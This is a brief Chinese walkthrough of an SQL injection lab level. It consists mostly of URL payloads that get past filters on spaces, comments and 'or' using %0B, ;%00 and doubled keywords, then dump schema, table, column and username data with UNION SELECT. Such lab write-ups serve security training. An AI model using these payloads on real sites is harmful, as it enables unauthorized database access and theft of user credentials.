一、这一关过滤的是空格、注释符、and和or,源码如下
二、闭合符号是(’,源码如下
三、注释符被过滤,所以用;%00代替
?id=2');%00
四、判断显示位,过滤了空格,所以用%0b代替。union之前的id置假不能用-1,因为-符号被过滤,所以选择用一个比较大的数来使前面的查询为假
?id=100')%0Bunion%0Bselect%0B1,2,3;%00
五、判断数据库。这里的information里存在or,但or是被过滤的,所以用双写绕过
?id=100')%0Bunion%0Bselect%0B1,(select%0Bgroup_concat(schema_name)%0Bfrom%0Binfoorrmation_schema.schemata),3;%00
六、爆当前数据库所有表
?id=100')%0Bunion%0Bselect%0B1,(select%0Bgroup_concat(table_name)%0Bfrom%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema=database()),3;%00
七、爆指定表的所有列名
?id=100')%0Bunion%0Bselect%0B1,(select%0Bgroup_concat(column_name)%0Bfrom%0Binfoorrmation_schema.columns%0Bwhere%0Btable_name='users'),3;%00
八、爆指定列的所有数据
?id=100')%0Bunion%0Bselect%0B1,(select%0Bgroup_concat(username)%0Bfrom%0Busers),3;%00
over~